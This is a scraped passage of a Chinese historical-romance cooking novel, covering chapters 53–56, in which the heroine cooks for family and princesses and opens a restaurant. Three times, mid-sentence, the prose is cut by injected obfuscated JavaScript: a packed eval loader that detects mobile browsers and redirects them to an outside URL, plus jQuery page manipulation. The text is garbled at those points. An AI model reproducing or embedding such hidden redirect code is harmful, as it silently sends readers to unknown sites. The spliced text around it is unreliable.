自己不午歇，就要日日遵命泡药浴。她瞧着满池金贵药材——啧啧，暴殄天物呀。 “蓝姐姐！” “过年好！” “蓝姐姐，看我做的荷叶酥。” 小院里，一群十一二岁的女孩子将蓝锦团团围住了。 “好，做得极好。才第一次学，就这么有样子。我瞧，已经能送去慈幼院了。” 刚才还跃跃欲试的点心师傅蔫了：“蓝姐姐，我......我还不行吧。” 蓝锦笑道：“怎么不行？我请你们来，就是盼着你们出师的。学会一样是一样，这点心拿到大慈音寺，住持都要夸一句精致的。” 慈幼院是她与大慈音寺合办的。 梁若虹正感念慧明大师的长命锁，冥冥之中助她骨肉团圆，也说不出反对的话。 蓝锦还偷偷走街访户，收拢起来这些贫家女童，传授手艺。 于是她仍能进灶台，不像在梁家，成日只被当作娇娇儿将养着。 梁老夫人呷了一口清茶，问碧桃道：“又去了？” 碧桃含笑着点头。梁若虹撇嘴一指她：“又是你们通的气，替她遮掩！” 碧桃只道：“小小姐打一降生就是闲不住的人，老夫人拘着她才不美！” 梁若虹搁下茶盏：“罢了，也是积德行善的事，我也就睁一只眼闭一只眼吧！怪道说不哑不聋，不做家翁！” 门房又报说连府的云大姑娘来了，梁若虹嗔道：“瞧这姐俩，净跟些不守规矩的人相交。谁家过年时候还整日在外头招摇，也不怕叫人打出去！” 碧桃笑道：“像我们老夫人呀。” “又编派我！好啦，快请进来吧，唤秋姐儿来，别又窝在雪窟子里吧？” 云江望倒也没把礼仪全抛到脑后，先正经行礼拜见了梁老夫人。 拎着一篮子炙鹿肉，兴冲冲道：“我刚在庄子上亲自打的鹿，可一刻也等不及了，得叫小秋尝尝！” 深红的鹿肉切作方块，因炭火的炙烤渗着油花。云江望只以粗盐和简单的香料佐味，一股山野香气弥漫整屋。 鹿肉兼具了牛羊肉的口感，却又没有那种腥膻。肉丝更鲜，稍硬一些，肉隙里却溢满了汁水。 梁若虹不过吃了一块就放下了：“你们年轻人吃着玩吧。” 她从前也是山林常客，打了猎物，就地支起篝火，木棍一叉就能烤。 不过撒些薄盐，滋味却醇厚难忘。或是笑声也能佐味，她与还未得封号的元宁肆意跑马笑闹，多少次也不厌。 又说：“锦娘没有口福！” 蓝锦恰在这个时候回来了，隔老远就听见老夫人在蛐蛐她，笑道：“可见不能背后说人，一说便说到脸面前了。我这带回来的好辣椒，还给不给她尝？” 一屋人都哄笑，碧桃接过这袋辣椒，赞道：“好成色！光看上一眼，天灵盖都叫辣翻了。” 蓝锦笑道：“哪有这样夸张！这是香辣的品种。待我配上红袍花椒，给年夜饭添一道大菜，试试看能辣飞几个天灵盖，怎么样？” 梁若虹也板不下去脸，绷不住笑了。却不叫蓝锦走，拉着她过来尝尝鹿肉。 蓝锦倒真不常吃这个，如今一尝，深觉名不虚传。 许是常在山野里放肆奔跑的缘故，这鹿浑身腱子肉，几乎尝不出筋皮肥油。 口感极像牛肉，却更瘦，近乎软香的牛肉干。每一处的香味都浓郁得厉害，越嚼，越觉得鲜味十足。 蓝锦算是长了见识。 大雪天里，吃上一块块带有几分粗犷的烤鹿肉，与新得到、却意外合得来的家人笑闹，心里都是暖的。 她抱起那袋辣椒，招呼道：“江望也不要走，我要做水煮肉的，你肯定喜欢！” 云江望一开始也没打算走，她看到蓝锦带着辣椒回来，早已蠢蠢欲动。把自家“务必早回”的叮嘱浑忘了个干净。 饶是看了几回蓝锦做菜，厨房的仆妇们，仍对她的手艺满怀惊叹。 直到蓝锦烧了热油，往锅里“刺啦”一浇，海啸般的香味随着沸腾的菜肴四散开来，大家的口水差点全下来了。 一盆红彤彤、油汪汪的香辣水煮肉上了桌，在满桌子桂花糖藕、蒸全鸡之间尤为显眼。 红亮的酱汁上撒了青绿的葱花，还有朱红色的花椒粒。只是看这色泽，就让人忍不住食指大动。 经过热油的催逼，辛香气全然被激发出来。麻辣酥香的气味，完全挤占了其他菜味的空间。 梁若虹本就雅好美食，忍不住夸赞：“形神俱佳，不负香辣之名。” 她用筷子轻轻夹起一片滑嫩的肉，肉片软滑蓬松，几乎夹不住，非得使巧劲才行。 白瓷勺衬着裹满红汤的肉片，它还颤巍巍地轻抖，像藏不住自己的弹爽。 送入口中，只觉鲜香麻辣刹那侵袭口腔。牙齿一对，肉汁子就在嘴巴里喷涌。 舌头上的所有味蕾都打开了。肉的鲜美放到最大，刺激得口水分泌，连鼻腔都泛起一阵热潮。 饶是身经百战的梁若虹，也控制不住地连吃了好几筷子。呛得嗓子欲咳，还忍不住说：“好吃！” 水煮肉放在梁老夫人的面前。云江望一开始还谨记家中对做客礼仪的要求，只动自己眼前的菜色。 那桂花糖藕香甜归香甜，可总有一股挥之不去的腻歪。再喝一碗牛肉羹，本也是极鲜的菜色，可总觉得不过瘾。 眼见着时辰越来越迟，门房那里甚至传来了连家差人来捉自己回去的消息，云江望坐不住了。 她不能白担这个罪名，还什么都没享受上吧。 蓝锦捕捉到了云江望的窘迫，拿了小碗，给她盛了一满碗的水煮肉：“江望怎么不吃？也尝尝我的手艺嘛。” 打瞌睡有人送枕头！云江望欢喜地接过，无视连家老仆匆匆赶来的眼神，埋头大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541996|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。 辣！烫！鲜！ 第一下似痛似爽的刺激过去，留在舌面的是极致的鲜美。 肉片滑嫩得不像话，吃了一口，觉着跟什么也没吃似的。她可算懂梁老夫人为何一筷子接一筷子不停下了。 再吃几口，酥麻的感觉不容忽视地涌了上来，整个舌面都向肉片缴械，全染上香辣的味道。 她疑心这水煮肉在自己嘴里放炮仗，铺天盖地，还火辣辣的。 连家老仆满腹犹疑地瞧着自家小姐，巴巴地在大年时节跑出来，就为了到姐妹家吃饭？这，这像话吗？ 眼下吃得额角都沁出了汗，辣得眼眶子都通红了，明明一副痛苦的样子，怎么还不愿停筷子？ “哎，姑娘......”桌上没人顾得上理会她。 辣香把人摄住了，人人都觉越辣越过瘾，越吃越想再来一口。 小秋从盆底下抽出豆芽菜来吃。长长的豆芽挂着咸鲜的汤汁，裹着一团白米饭，汤汁瞬间把饭染得鲜红。 一口放进嘴里，豆芽的爽脆，咸辣的调味，让米饭的香甜味瞬间再上一层楼。 云江望吃得上头，瞧着小秋的动作，再顾不上其他，也学她站起来，从盆底扒拉配菜吃。 她刚夹起一片山菇，就听自家的仆妇十分刻意地不经意大声咳嗽：“姑娘！很该走了。” 饶是再不舍，云江望也不得不放下筷子。拖着沉重的腿，和吃了很多还觉饥饿的胃肠，踌躇地走了。 临走还执着地找碧桃打包了半锅，一道带回去。 连家老仆早就红透的脑袋，此时干脆羞得红透了脖颈。这差事丢人，太丢人了！ 待她们匆匆走出梁府大门，竟看见门外，还有另外一辆明显不是梁府形制的马车。 仆妇心里嘀咕：怎么回事，如今，天都城流行大年夜不留守家中，全跑到外头去？ 还都往梁府跑，难不成也是来吃饭的？ 云江望还紧攥着碧桃递给她的食盒，宝贝得不行。 里头的麻辣香味越往外飘，仆妇就越觉得脸上挂不住。 当即命人快马加鞭，灰溜溜地回府了。 另一辆马车里的不是别人，正是好几天没吃过饱饭的萧仁禹。 他深嗅了一口空气中留存的麻辣香味，叹了口气：“回去吧。” 除却巫山不是云。拜蓝小娘子所赐，如今，他大年夜积极加班，也抵抗不住内心的空虚了！ 好想吃小娘子做的饭啊...... 云江望一回到连府，就见着老太君独自坐在正院，各房人都叫遣散了。 “太姥姥！我这不是回来了嘛，还给你带了好吃的呐！” “哼！给谁的？给你自己的。” “不是不是，我已经吃了许多了。太姥姥尝尝？只是不许多吃，秦大夫知道了，要怪我的。” “还知道你吃了许多！” 沈珺已经年逾七旬，阖家无不小心捧着，生怕磕碰了。也只有她的掌珠连松琦送来的外孙女，敢同她胡闹。 这香气确实霸道。 沈珺略尝了一口涮了水的，嘶！鲜美极了。从舌尖到喉咙，一路像火烧似的。 54. 第54章 蓝锦做的水煮肉，叫连家的正院香了好几日。那夜伺候的人，身上都沾染了这股麻辣气味。 沈珺的评价是好吃。还告诉云江望，下次多给她偷点回来，她们一起背着人吃。 云江望吃吃地笑，也不敢真让沈珺吃多少。 倒是灯盏糕、牛乳茶这样的甜点，她常给太姥姥带上一些。说从前在万年县，外婆也爱吃的。 蓝锦欢迎云江望到梁府来。只有她来，自己才能进一进厨房大显身手。 其余时候，梁若虹看得死紧，至多只许她动动嘴，教厨娘如何切松鼠鳜鱼的花刀。 连厨房都不太舍得叫她踏进去，只怕油烟熏了杏眼，呛了娇嗓。 梁老夫人天天挂在嘴边上：“缘何要洗手做羹汤？这都是伺候人的活计。我们梁府的姑娘不做这些。” 于是，蓝锦跟小秋一道，叫外祖母打发去书房攻读经义。 蓝锦打了几次游击，均以失败告终，只好改派汝月替她推进厨艺女学和慈幼院的事。 读经，她真不是这块材料啊！就算就算这些蝌蚪文认得她，她也不认得它们。 何况都是些我注前人，前人注我，君君臣臣父父子子，没意思得紧！ 不如从前手底下弹跳的虾子，银腮的肥鲈鱼，鲜红奶香的牛羊肉...... 现在，她手里只能玩些香膏花露。市价约摸十两银子一盒的玉容膏，不过掌心大小，也只配叫她涂涂手背。 蓝锦第一万次在脑海中虚假颠锅。长叹一声，两手往前一摊，下巴搁在《诗经讲义》上——好无聊啊！ “姑娘，老夫人有请！家里来客了，是大长公主和大公主。大长公主是老夫人的至交，她膝下无子，大公主曾在她跟前养过一阵子。如今一道过来，专程见见姑娘的，也贺姑娘迁居之喜。” 碧桃掀开书房内室的帘子，踏着七彩祥云来救她了。 这一连串公公主主的，差点没把蓝锦晃晕。 不过，她只知道一件事——那就是，外祖母或因骄矜秀娃，或因想显示比旁人亲近，许她下厨露一手了！ 蓝锦走向大厨房的脚步都带着风。 梁若虹迅速给蓝锦翻新了东院。处处设计得都好，移步换景，连回廊里都是不间断的山水花鸟镂花。 就有一点不好，专门关了小厨房，就跟故意的似的。 “傅大娘，今日可有好菜？” 蓝锦跑了不短的距离，还喘着就喜上眉梢。软缎鞋刚迈过门槛，带笑的话音就高扬着。 “姑娘，尽有的！庄子上送来了些喜人的南瓜，金澄澄的，甜糯。又有嫩鸡，不过几月年龄的。” 傅大娘让开了灶头，蓝锦系上围裙，另取了干贝、干鲍泡着，又用老母鸡和大骨吊了高汤。 左右炖汤时间还长，她收拾了些配菜，眼见进度差不多了，才匆匆赶去正院见客。 蓝锦未及换外衫，走到跟前才想起来告罪。大长公主谢元宁含笑拦住她行礼的动作： “不碍什么，叫我瞧瞧。是个面善的孩子！” 她其实想说，蓝锦像极了梁若虹的长女，朱兰佩。话在嘴边转了两圈，又未说出口。 两厢絮絮地问了些话，梁若虹便炫耀起来：“你不知道，她身上这股灵透劲，可像我了。寻常的食物，经她的手一整治，全变了模样。” “我原先一路苦夏苦到冬日里，偏她做的东西，别管清淡还是辛辣，我都能吃得一点不剩。合该是老天爷叫我享福！” 谢元宁知道她这些年心中的酸楚，只附和着嗔道： “是！宝贝都跑你家去了！我是托你的福，今日才能沾上光。只是一来就劳动锦娘，实在过意不去。” 她自怀里掏出些契纸：“喏，姑祖母给你的见面礼。” 蓝锦瞧一瞧梁若虹，却见她全然没有下场阻挠的打算，反而下巴一努： “快拿着！你姑祖母才是占尽了天都全部的灵秀。手指缝里漏一点，都了不得了。” 谢元宁接口道：“瞧，又想跟我要东西！锦娘快拿，多的再没了！” 看着这样迥异于宫中的松弛氛围，大公主谢令章也在一旁盈盈地笑。 蓝锦珍重地谢了。瞧着，是一家绸缎庄的契子，位置极好。还有一处面积不小的田庄。 寻常人家哪怕只有这些，也能小富即安、衣食无忧了。 谢元宁只恐蓝锦不愿收：“拿着玩罢了。当年，本是拿来做你外祖母的添妆。谁想到她傻，生怕嫁妆压过聘仪太多！正好，如今还留给你。” 梁若虹嘟囔着嘴：“别提那些。” 碧桃正好挑了帘子走进来，致了礼，笑道：“饭食已做得，现在可要摆饭？” 一行人说笑着移步饭桌前。仆妇们行云流水地端上来一口大锅。 刚搁在桌子中央，又一份份搁在白碟子里的菜。 谢元宁和谢令章目瞪口呆，没听说梁府有吃生食的习惯呀！ 打了花刀的鱼片，蝴蝶一样地铺在绿菜叶子上。又有鱿鱼、鸡块、羊肉卷、牛肉卷、鱼丸、海参、鲍鱼...... 素菜又有冻豆腐、腐竹、豆皮，白菘、菠菜、萝卜、山菇...... 蓝锦站起身搅动大锅里的金汤，很是满意。 汤底已经变得浓稠，南瓜泥的金黄，无限增色，让鸡汤和骨汤的鲜美具象化。 蓝锦率先舀了一勺汤示范：“这个叫金汤火锅。要先喝汤，后吃菜。” 仆妇们依言拿了小碗，每人都捧着一碗金汤，小口小口啜饮着。 母鸡与猪骨是吊汤的绝配，鲜美得让人感觉打通了任督二脉。 南瓜的甜香给汤底的口味多加了一个层次。两位公主都是第一次尝这样的美味，只觉回味无穷。 谢元宁首先大赞：“有这般成色，像是仙人点化过一般，看着就食指大动，难不成熬了三天三夜？” 蓝锦“噗嗤”一笑：“若是这样，开店的人赔也赔光了。和寻常熬汤一样，只是加了南瓜泥！” 谢令章眉毛挑得老高：“竟有这样的事。可见商人总有些急智。” 蓝锦刚把鸡肉倒进锅里，鸡肉果真嫩，涮一下就能吃了。 她一边张罗着大家尝尝，一边接口道：“我倒揣着满腹急智，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541997|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨无处施展。大家爱吃就好，再尝尝这个。” 蘸鸡肉的料汁，是蓝锦秘制的味极鲜。配上些红辣椒圈、芹菜粒、芫荽（香菜）末。 鸡肉滑嫩得没边了。谢元宁不觉得她是在吃鸡肉，倒像是喝，一骨碌，就化没了。 只那股子鲜味萦绕齿间，久久不散。 汤底是搁了干贝的，煮得越久，鲜香味越霸道。 此时大家都学会了自涮自吃的方式，各自拿公筷夹了喜欢的食材，眼巴巴地等它煮熟。 “鱿鱼得了！” “羊肉卷得了！” 一开始还需要仆妇的提醒，后来越吃越熟练。 金汤煮过的东西，不知怎么回事，全透着一股特别的香气。口感是爽脆的、滑嫩的、油润的，或是吸满了汤汁...... 大公主谢令章是从不吃鱼的人。如今简直抱着一盘子蝴蝶样的鱼片，不住地往锅里放生，吃了一片又一片。 这鱼片没刺，不腥，还鲜、嫩，很难不爱吃！ “蘸料碗好吃，不蘸料碗也好吃。”大长公主谢元宁体会出来了，很权威地总结道。 “正是的，火锅就是浓淡相宜的美食。有人还爱吃满锅辣椒的，那汤底都红彤彤。有人倒用清水涮。配的料碗也是变化万千，酸甜苦辣咸都能在里头！” 蓝锦偷偷觑一眼外祖母，又小声地补充道：“若是叫我开了食店，保准能做出各种各样的火锅，风靡全天都。” 大长公主第一个响应：“好！锦娘，我给你投银子！” 梁若虹不高兴了：“凭什么叫我家娇娇儿当街做羹汤？你自家开去。” 谢元宁嬉笑道：“你这个老古董。看不出来呀？人家爱这个！难不成，开酒楼，竟是东家亲自下厨？不能够。” 梁若虹道：“你看她下不下厨，她还能管得住手？” 谢元宁只道：“瞧你，守着金疙瘩，不舍得叫旁人享享口福。你管得住人家的手，还管得住人家的心呐？对小辈不要管太多！” 这顿饭后，因着大长公主笃定的话语，和一副愿意撑腰的态度。梁若虹松动了。 “我并不是说酒楼不好。锦娘，我拦着你，不过怕你吃亏。从商到底不是我们这样人家的道路，只恐我百年之后，没人护着你......” “哎呀，说的什么！”蓝锦正想安慰，却见外间哭哭啼啼地跑来一个云江望。 她连门房通传都不顾了，直扑到蓝锦怀里： “蓝姐姐！呜呜，外舅公说，说我性子不驯，不像闺阁女。要让我相看，要我定亲！家里不愿留我，我学不成武了......” 这下可好，梁老夫人见一贯强势的连家都是这种打算，刚松动的态度，又犹豫了回去。 蓝锦柔声细语地哄着云江望，带她去小秋的房间先歇下了。小秋今日去庄子上看新买的小马驹，这会还没回来。 待她回转，更是一个头两个大：“旁人家定亲，关咱们家什么事，八竿子都打不着。外祖母怎么能反悔？” “唉，她们家长辈的苦心，何尝不是与我相似？”梁若虹摆摆手，不愿谈了。 55. 第55章 天都的春来得不算迟。才二月里，暖阳处的迎春花，就吐出了嫩黄的细花苞，好像一夜之间的事。 “师父，现在怎么说？” “还能如何，等着人家何时松口呗。”蓝锦是来给慈幼院的孩子做吃食的。 她近来与梁若虹不冷不热地杠上了，得空便跑出家门进外头的厨房。 “吱呀”一声，院门推开了。嬉闹的孩子不为所动，彷佛不是第一次见了。 “你怎么来这里了？”来人竟是萧仁禹，蓝锦惊讶道。 萧仁禹拎着两大包袱冬衣，按说是狼狈的姿势，却丝毫影响不到他的风度翩翩。 “你能来，我也能来。” 汝月对蓝锦解释：“卢婶娘说，萧海商前些时日也来过，送衣送物的，来去匆匆好几回！” 蓝锦道：“真是错怪萧大善人，往常还当你不食人间烟火！谁想到这么有善心。” 她亲自接过萧仁禹手上的包袱，顺嘴说道：“这大中午的，饭点时还插空来跑这一趟，我替孩子们谢过你了。” 萧仁禹瞧出蓝锦刚从灶房里出来，悄悄咽了下口水。 蓝锦请他屋里坐，捧了一盏茶水，热情道： “我最近事忙，没空打理这儿，四处乱糟糟的，灶上火还没熄，孩子们还等饭吃。你将就坐坐，下回我请客谢你哈。” 萧仁禹抿了口茶水，见缝插针道：“我也有些饿了。” 蓝锦不假思索道：“那就一块留下吃点呗，省得奔波了。” 萧仁禹欣然同意。 慈幼院吃得简单，大锅的雪菜炒年糕，萝卜炖排骨汤，五香茶叶蛋，和猪油青菜做的菜饭。 萧仁禹吃得津津有味。 雪菜是发乌的深碧色，甜糯的年糕片上，偶有几点咸鲜，一下子破开了那种清淡。 喝一勺浓白的萝卜排骨汤，萝卜的清甜和排骨的荤香一齐涌动舌面上。不像从前喝过的那些汤品，油却不香，也不鲜美。 蓝锦夹起一个满是裂纹的茶叶蛋，褐黑的卤汁顺着缝往下滴：“尝个茶叶蛋，孩子们顶爱吃的。” 萧仁禹和小童们一样，珍惜地捧在手里，拿指尖轻轻剥壳，生怕弄掉了。 茶叶蛋全然变色，表面遍布棕色的纹路。这种成色的鸡蛋，卤得十分入味。咬上一口，能尝到复杂的层次。 “像是中药铺子里的东西，却没有药味。”萧仁禹赞道。 蓝锦道：“这可是我的独家秘方。” 两人就这样慢吞吞吃着，直到桌上只剩下他们。一个人是吃得太多，一个人是半天没吃下饭。 萧仁禹看蓝锦拿筷子拨碗里的饭，主动问道：“蓝小娘子遇上什么麻烦了吗？” 蓝锦叹了口气：“唉，还不是连家的老爷子非要给云江望说亲？这事就够烦的了。城门失火，还殃及池鱼，这下好了，我还开不成食店了。你说这世上为何要有成亲这种事，摆在人面前挡道！” 萧仁禹点头赞同：“是很麻烦。要是让我选，我也宁可不成亲。” 蓝锦对这个异时空的不婚主义古人高看了一眼，但也就是随口一聊，没怎么放在心上。 梁府里，梁若虹跟碧桃抱怨：“没开食店时便这样不着家，真松口了，得什么样？又不是我给她说亲，她倒跟我赌上气了。” 碧桃只是陪笑，并不说哪一方的不是。 叫梁若虹狠心拦了蓝锦，走上做他人妇的“正路”，她说不出口。想别的路，她也想不出。 彷佛应着梁若虹的担忧似的，浔阳侯徐家去跟岳丈朱氏私下通了气，找上了门来。 毕竟，饶是梁若虹对找回外孙女这事再低调，大长公主来完那一趟，风声也影影绰绰传了出去。 穿锦戴玉的贵夫人满头珠翠，涂了艳红丹蔻的手指像铁钩似的。 从梁府的门房里冲将出来，一把攥住归家的蓝锦： “儿啊！我苦命的儿啊！可怜你自小离了家，在这穷乡僻壤摸爬......瞧瞧这手，都皴成这副模样，看着比我的年纪还老上几分啊......” 蓝锦：“......” 讨厌没有边界感的大人！ 蓝锦皮笑肉不笑：“这位夫人，您面相红润，想是饭食用得不错吧？打这儿往东走几里地，有一个小土丘，您去那儿多转几步，消消食。” 来人根本不理，自顾自哭诉着：“瑾娘，你这孩子恁地狠心，人到了家跟前，却都不想着进门看一看......” 蓝锦奇道：“我日日在家住着啊。您又是哪位？” “我的儿啊！自从姐姐走后，我日日想你盼你，人都熬坏了身子，就怕辜负了先夫人的遗愿。人心都是肉长啊，那可是我亲姐姐啊，即便你不认我，我，我怎么可能不疼你啊！” 蓝锦用力往回抽被攥得死紧的双手，试了几下都没成功，腕子上立马几道红痕。 她不伺候了，把手狠狠一甩。 碧桃本以为门上的婆子早把二人打出去了，回了内院。现下正冲出来，一撩袖子，把蓝锦搂了回去。 这番动静，把老夫人都惊动了，她凉凉地说：“在门口不好看，让他们都进来吧。” 来人正是蓝锦的生父和继母。梁老夫人并不给他们好脸色。 刚才一直窝在后头的徐仲辞，此时仍是憋不出一句话。 朱十娘想想自家弟弟无底洞般的赌账，想想徐家被自己四处腾挪的公账，换上个谄媚的嘴脸： “瑾娘成日在外奔忙，也要注意身体。若是太辛苦，便家去养着多好。我们这两个老骨头可每日盼着你呐，得空也来我们跟前露露面不是？” 梁若虹打断她：“老实说罢，什么事，不说就走。” 朱十娘支支吾吾，吾吾支支，终于说出来了。 ——他们竟想将锦娘送去二皇子府！ 梁若虹言简意赅：“滚。” 眼见两人叫几个粗壮婆子架出去了，蓝锦满脸好奇，却又别扭地不问。 梁若虹此刻瞧蓝锦却顺眼许多，主动把一碟桂花豆沙糕递给她，开口道： “就当没听见那些浑话。两个势利眼懂个什么？和小秋玩去吧。” 蓝锦深觉里头有事，悄悄跟碧桃打听了，只觉三观受到冲击。 这个继母竟是“她”的小姨母！ “她”还是在生父续娶的婚礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541998|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上走丢的。 婚仪跟“她”母亲的葬礼相差不过一月！ 在极端权势的面前，体面的礼教也失去了约束力。 蓝锦唏嘘一番，决定不再温吞地坐以待毙了。 她借梁府的渠道，主动给大公主谢令章下了帖子。 “这是什么？”谢令章惊讶地瞧着面前的大盘子。 里头弯弯曲曲的棕色条状物，裹着带焦边的鸡蛋、油润的青菜叶，还散发出一股扑鼻的锅气。 “回大公主，是炒方便面。您尝尝？” 这可是后世街头夜宵的扛把子。烧烤摊上，小吃车上，无处不是它们的身影。 蓝锦做了各种面饼，各种油温，试出了最满意的效果。 泡发的干炸面沥干了水，经过热油的炝炒，充分吸收了调料粉的滋味。锅气和酱香四散氤氲。 谢令章好奇地夹起一筷子送进口中——就像闻上去一样好吃。 筋道的面条既有干香，又有油香。隐隐的一丝甜鲜味，让咸香更加勾人。 “您试试连着配菜一起吃。”蓝锦把面、菜和蛋夹在一起，一块放在嘴里。 谢令章依言尝试。青菜的脆甜，炒蛋的焦咸，给吸味又弹爽的面条增加了层次。 越嚼越香，一点也不单调，果然更好吃了。 “十分不错”，谢令章意犹未尽地擦了擦嘴角，“你说，想让我帮你什么？” 蓝锦爽朗地笑了：“瞒不过殿下。我是想托殿下牵线，助我做美食生意。” 她揭开盖子，露出未经泡发的干面饼。 谢令章脑子过得飞快：“每块面粉耗费多少？” 蓝锦早有成算：“至多不过五文。” 谢令章的思绪便活泛了起来。 蓝锦一早打听过大公主的事迹。她爱做实事，励精图治，连军方都有支持，却又懂得藏锋敛锷。 简而言之，一个低调的卷王。 大公主沉思一阵，开口道：“我给你投银子，助你做这面饼的生意。你若有其他相似食方，也做出来给我。” 蓝锦目光炯炯看向谢令章，笑道：“大公主，我倒不是图钱，是图您的人。只需您担个合作的名声，为我开酒楼做个大靠山。” 靠山的名字先摆到了梁老夫人的面前。 梁若虹尝过惊艳了大公主的炒方便面，一时没说出话。 “外祖母，这下可该答应了吧！”蓝锦拉着梁若虹的胳膊，摇来摇去地撒娇。 “既然令章那孩子承诺了你，我也不好驳她的面子......好罢！” 经了浔阳侯夫妇的风波，梁若虹心头的天平早就偏了。 蓝锦的酒楼就这样风风火火提上了日程。 事情无不往顺利的方向发展。只是梁府寻到外孙女的事，终于轰轰烈烈地传遍天都。 随之而来的，是拐弯抹角的试探，关于梁府掌珠的婚事。 这些，蓝锦才不在乎。她成日泡在装修中的蓝记酒楼。 “蓝姐姐！” 一个明媚的女娘骑着枣红色的大宛马，身后的大红披风高高飘扬。是云江望。 “我要去从军了！” 56. 第56章 红汤芋儿鸡[捉虫] 蓝锦搁下正准备往墙上挂的画作，匆匆迎出门来： “怎么这样突然？打得我措手不及，都来不及为你摆饯行宴。为何突然要去从军了？” 小秋也不逗狮子狗了，三两步跑出来送自家姐妹。 云江望翻身下马，一手拉着缰绳： “嗨！我这招叫釜底抽薪。我人都走了，那老鼻子说亲说到哪去？那么想嫁，让他自己去拜堂吧！” 蓝锦噗嗤一笑。小秋紧追着问道：“去哪里从军？” 云江望一收鞭子：“一路往北，去北境，沿途都有云家的旧部，不必担心我！” 蓝锦拉着她的腕子：“真因为婚事就去投军？战场可怪险的，得保重自身才是......” 云江望摆摆手： “那倒也不是。老鼻子一家早看我不顺眼，生怕我在太姥姥跟前敲什么边鼓。亲事不过撵我的借口。巧了，我也用这个借口！” 蓝锦给她端上一盏金橘酪。 云江望豪迈一饮： “从此，我爹娘再骂不了我要从军的事。要怪，就去怪外舅公那家，是他们逼得我走投无路，哈哈！” 蓝锦笑道：“只要你喜欢，倒也不错。我去给你收拾些干粮，路上带着吃。” 好在酒楼库房里已备下好些东西。 蓝锦给云江望带了一罐又一罐拌饭用的小菜，酱香牛肉末、山菇酱、油辣鸡...... 还有猪肉松，蜜汁猪肉脯，酸甜的果脯，这是留着以后吃的。 卤汁肉夹馍、梅干菜烧饼，这是搁不了太久，但这两天能吃的。 云江望的口水险些流下来，赶忙说道： “好了好了，蓝姐姐，我倒不像是来告别的，像是来打秋风的！我现在就想全尝一遍！” 蓝锦盈盈地笑： “我时刻想你来打我的秋风。边地苦寒，我们帮不了你什么，只能默默盼你前路顺遂了。” 云江望就这样拎着大包小包，拥别了泪眼涔涔的小秋，上马挥挥手走远了。 蓝锦姐妹俩的心情，到底有些低落，怏怏地回了家。 梁若虹一见她们，就招呼二人过来： “快来，累坏了吧？来吃点地莓，还有岭南的贡橘，甜津津的。” 这时节竟然有草莓，一下子就把蓝锦的注意力吸引了过去。 她和小秋一人拈着一颗红果子，嗯，很有草莓味。 “是大公主送来的？” 梁若虹摇摇头： “是萧国公府，他家庄子上原有个好温棚，往年常有鲜果。只不过，好些年没有了，不知为何，今春又有了。” “真好，咱们家能弄温棚吗？” 蓝锦给这家讲究人，点了一个大大的赞，希望这样的口福多来点。 贡橘也不负“贡”之一字，皮薄肉丰，汁水四溢。 吃在嘴里，冰甜得沁人心脾。 “行啊。你姑祖母不是送了你一个庄子？那庄子上有好温泉，附近也能弄温棚。只你得精心找些懂得侍弄果蔬的行家，眼下家中只有侍弄花草的。” 蓝锦与梁若虹絮絮地聊着家常，也不这么难受了。 她还盘算着，得去萧国公府挖个墙角。把那种出地莓的老仆，想法子请回自家。 若是酒楼上了温棚果蔬，啧啧...... “刺啦——”沸腾的热油浇到刚出炉的蒸虾上。 赤红的大虾瞬间油亮，壳上有细密的小泡滋滋地冒。 一勺收浓的汤汁，红得发棕，“哗啦”一下浇到盘中。 从滚烫的蒸碗里倒扣出来的五花肉，像个圆谷堆。 酱汁盖住了焦黄色的透明肥膘，边缘围着的那圈菜心愈发青翠欲滴。 “客官，您的菜来了！” “蓝掌柜，你让我们好等！” “今日开张头一天，人多事多。切勿见怪，我们都是老熟人了。” 老熟人这话，并不是蓝锦信口胡诌，是他们自己说的。 蓝锦也没想到，蓝记酒楼第一波来宾，竟是卖螺蛳粉的蓝记小馆积攒起来的忠实老客。 ——是的，他们没吃上几顿，已经按老客自居了。 “就是这个滋味！蓝掌柜做饭有自己的味道，跟别人家都不一样。” “唔，过瘾！” 爱吃螺蛳粉的校尉已经掌握了精髓，在一众“水煮羊肉”这样看见名字就能想象出滋味的大菜中，挑出了一道“红汤药膳芋儿鸡”。 蓝锦还特意叮嘱：“客官，这道菜可辣得很，若是脾胃不适，可以下回再来享用。” 校尉一副别看不起人的样子：“就点它！” 大盆装的芋儿鸡一上桌，霸道的鲜辣香气直接扑面而来。 红得发乌的汤底，里头是各个品种的糍粑辣椒。搭配花椒等香辛料，大火炒成的。 此时已经过滤干净，只留下诱人的汤汁。 校尉立刻夹起一筷子鸡脯子肉放进嘴里，口中连道： “这个真香！辣，又鲜死个人！” 